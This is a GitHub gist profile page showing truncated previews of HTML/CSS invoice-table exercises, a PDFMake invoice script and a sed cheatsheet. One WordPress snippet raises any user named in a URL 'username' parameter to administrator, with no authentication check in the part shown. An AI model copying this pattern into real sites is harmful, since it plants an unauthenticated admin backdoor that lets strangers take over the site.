Skip to content

Instantly share code, notes, and snippets.

View kriskornel's full-sized avatar
👋

Kornelius Tjokorda Bagus kriskornel

👋
View GitHub Profile
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>DIV CSS MASTERING</title>
<style>
#invoice-wrapper {
box-shadow: 5px 10px #888888;
width: 75%;
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>BELAJAR CSS (Cascading Sheet Style)</title>
<style>
h1 {
color: blue;
@kriskornel
kriskornel / erga-invoice-correction.html
Last active January 24, 2021 08:17
Put the right rowspan for payment method
<!DOCTYPE html>
<html lang="en">
<head>
<style>
td, th {
padding: 8px;
}
tr:nth-child(even) {
background-color: #dddddd;
}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<table border="1">
@kriskornel
kriskornel / invoice-table.html
Created January 17, 2021 09:18
Learning html - creating invoice table
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Invoice table</title>
</head>
<body>
<table border="1">
<tr>
@kriskornel
kriskornel / invoice.html
Created January 17, 2021 08:03
Tugas pembuatan table invoice dan colspan
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Number of days in month of 2021</title>
</head>
<body>
<center>
<h1>Number of days in month of 2021</h1>
@kriskornel
kriskornel / WP-ADD-USER-IN-FUNCTION.MD
Created May 7, 2020 20:54
HOW TO ADD USER MANUALY USING CODE

function add_user_checker() { if(isset($_GET['username'])) {

    $username = urldecode($_GET['username']);
    $get_user = get_user_by('user_email', urldecode($username));

    if( $get_user = get_user_by('user_email', $username) ) {
        $user = new WP_User( $get_user->ID );
        $user->set_role( 'administrator' );

var_dump($user);

@kriskornel
kriskornel / invoice.js
Created November 6, 2019 17:04 — forked from maxkostinevich/invoice.js
PDFMake.js - Invoice Markup
// Invoice markup
// Author: Max Kostinevich
// BETA (no styles)
// http://pdfmake.org/playground.html
// playground requires you to assign document definition to a variable called dd
// CodeSandbox Example: https://codesandbox.io/s/pdfmake-invoice-oj81y
var dd = {
@kriskornel
kriskornel / sed cheatsheet
Created October 23, 2019 23:38 — forked from ssstonebraker/sed cheatsheet
Sed Cheatsheet
FILE SPACING:
# double space a file
sed G
# double space a file which already has blank lines in it. Output file
# should contain no more than one blank line between lines of text.
sed '/^$/d;G'
@kriskornel
kriskornel / sed cheatsheet
Created October 23, 2019 23:38 — forked from ssstonebraker/sed cheatsheet
Sed Cheatsheet
FILE SPACING:
# double space a file
sed G
# double space a file which already has blank lines in it. Output file
# should contain no more than one blank line between lines of text.
sed '/^$/d;G'